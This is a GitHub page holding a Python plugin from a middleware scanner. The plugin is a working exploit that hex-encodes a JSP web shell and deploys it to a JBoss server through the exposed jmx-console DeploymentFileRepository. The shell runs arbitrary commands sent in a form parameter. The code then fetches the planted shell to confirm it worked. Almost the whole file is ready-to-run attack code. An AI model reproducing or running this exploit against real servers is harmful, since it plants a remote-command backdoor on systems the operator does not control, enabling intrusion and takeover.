F-MiddlewareScan/plugins/jboss_deploy.py at master · getcode2git/F-MiddlewareScan · GitHub

History

33 lines (33 loc) · 1.85 KB

Raw

#coding=utf-8

#author:wolf@future-sec

import urllib2

import time

import random

def random_str(len):

str1=""

for i in range(len):

str1+=(random.choice("ABCDEFGH"))

return str1

def run(host,port,timeout,auth):

try:

url = "http://%s:%d"%(host,int(port))

shell="""<%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION=""> <INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML>"""

shellcode=""

name=random_str(5)

for v in shell:

shellcode+=hex(ord(v)).replace("0x","%")

deploy_url = url + "/jmx-console/HtmlAdaptor"

post_data = "action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType="+\

"java.lang.String&arg0=%s.war&argType=java.lang.String&arg1=auto700&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3="%(name)+shellcode+\

"&argType=boolean&arg4=True"

request = urllib2.Request(deploy_url,post_data)

request.add_header("Authorization",auth)

res = urllib2.urlopen(request,timeout=timeout)

time.sleep(10)

webshell_url = "%s/%s/auto700.jsp"%(url,name)

res = urllib2.urlopen(webshell_url,timeout=timeout)

if 'comments' in res.read():

info=" Auto deploy success:%s"%(webshell_url)

return info

except Exception,e:

pass

F-MiddlewareScan/plugins/jboss_deploy.py at master · getcode2git/F-MiddlewareScan · GitHub

Expand file tree

Breadcrumbs

jboss_deploy.py

Latest commit

History

Breadcrumbs

jboss_deploy.py

File metadata and controls